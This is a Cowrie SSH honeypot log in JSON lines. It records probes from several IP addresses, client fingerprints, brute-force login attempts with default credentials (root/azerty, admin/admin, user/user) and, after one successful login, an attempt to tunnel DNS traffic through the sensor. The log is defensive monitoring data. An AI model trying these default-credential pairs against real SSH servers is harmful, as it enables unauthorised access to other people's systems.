{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:37:39.784460Z","src_ip":"103.4.145.50","session":"8529785ce19d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:37:40.045013Z","src_ip":"103.4.145.50","session":"8529785ce19d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"1","message":"login attempt [ec2-user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:37:41.109091Z","src_ip":"103.4.145.50","session":"8529785ce19d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:37:42.370038Z","src_ip":"103.4.145.50","session":"8529785ce19d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":58258,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9df8ce407ef","protocol":"ssh","message":"New connection: 107.150.103.210:58258 (10.17.0.5:22) [session: a9df8ce407ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:37:44.982599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:37:44.991250Z","src_ip":"107.150.103.210","session":"a9df8ce407ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:37:45.062793Z","src_ip":"107.150.103.210","session":"a9df8ce407ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshadmin","password":"password","message":"login attempt [sshadmin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:37:45.378547Z","src_ip":"107.150.103.210","session":"a9df8ce407ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:37:46.451497Z","src_ip":"107.150.103.210","session":"a9df8ce407ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":43878,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1af1093cfcf","protocol":"ssh","message":"New connection: 96.70.252.227:43878 (159.203.135.109:22) [session: d1af1093cfcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:16.068589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:16.074450Z","src_ip":"96.70.252.227","session":"d1af1093cfcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:16.101762Z","src_ip":"96.70.252.227","session":"d1af1093cfcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:16.274986Z","src_ip":"96.70.252.227","session":"d1af1093cfcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:17.341202Z","src_ip":"96.70.252.227","session":"d1af1093cfcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47110,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5611cdd71ec","protocol":"ssh","message":"New connection: 87.251.64.176:47110 (10.17.0.5:22) [session: c5611cdd71ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:23.752588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:23.760116Z","src_ip":"87.251.64.176","session":"c5611cdd71ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:23.856867Z","src_ip":"87.251.64.176","session":"c5611cdd71ec","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:24.146418Z","src_ip":"87.251.64.176","session":"c5611cdd71ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:24.244293Z","session":"c5611cdd71ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:24.340979Z","src_ip":"87.251.64.176","session":"c5611cdd71ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:24.438183Z","src_ip":"87.251.64.176","session":"c5611cdd71ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":56320,"dst_ip":"159.203.135.109","dst_port":22,"session":"d714ce082032","protocol":"ssh","message":"New connection: 124.7.227.98:56320 (159.203.135.109:22) [session: d714ce082032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:26.810954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:26.816431Z","src_ip":"124.7.227.98","session":"d714ce082032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:27.033063Z","src_ip":"124.7.227.98","session":"d714ce082032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azerty","message":"login attempt [root/azerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:27.930338Z","src_ip":"124.7.227.98","session":"d714ce082032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:29.148712Z","src_ip":"124.7.227.98","session":"d714ce082032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":37948,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eb015a5b142","protocol":"ssh","message":"New connection: 103.4.145.50:37948 (10.17.0.5:22) [session: 2eb015a5b142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:42.436450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:42.441519Z","src_ip":"103.4.145.50","session":"2eb015a5b142","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:42.697046Z","src_ip":"103.4.145.50","session":"2eb015a5b142","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"test123","message":"login attempt [chris/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:43.684443Z","src_ip":"103.4.145.50","session":"2eb015a5b142","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:38:44.940374Z","src_ip":"103.4.145.50","session":"2eb015a5b142","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":54298,"dst_ip":"10.17.0.5","dst_port":22,"session":"3800fb807529","protocol":"ssh","message":"New connection: 107.150.103.210:54298 (10.17.0.5:22) [session: 3800fb807529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:39:03.481941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:39:03.487000Z","src_ip":"107.150.103.210","session":"3800fb807529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:39:03.557937Z","src_ip":"107.150.103.210","session":"3800fb807529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"1","message":"login attempt [webuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:39:03.872694Z","src_ip":"107.150.103.210","session":"3800fb807529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:39:04.946915Z","src_ip":"107.150.103.210","session":"3800fb807529","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":60672,"dst_ip":"159.203.135.109","dst_port":22,"session":"547e24fbdf30","protocol":"ssh","message":"New connection: 124.7.227.98:60672 (159.203.135.109:22) [session: 547e24fbdf30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:39:13.431343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:39:13.435710Z","src_ip":"124.7.227.98","session":"547e24fbdf30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:39:13.653556Z","src_ip":"124.7.227.98","session":"547e24fbdf30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Es123456","message":"login attempt [root/Es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:39:14.564405Z","src_ip":"124.7.227.98","session":"547e24fbdf30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:39:15.785265Z","src_ip":"124.7.227.98","session":"547e24fbdf30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":54946,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb1ea86e657a","protocol":"ssh","message":"New connection: 103.4.145.50:54946 (10.17.0.5:22) [session: eb1ea86e657a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:39:42.920020Z"}
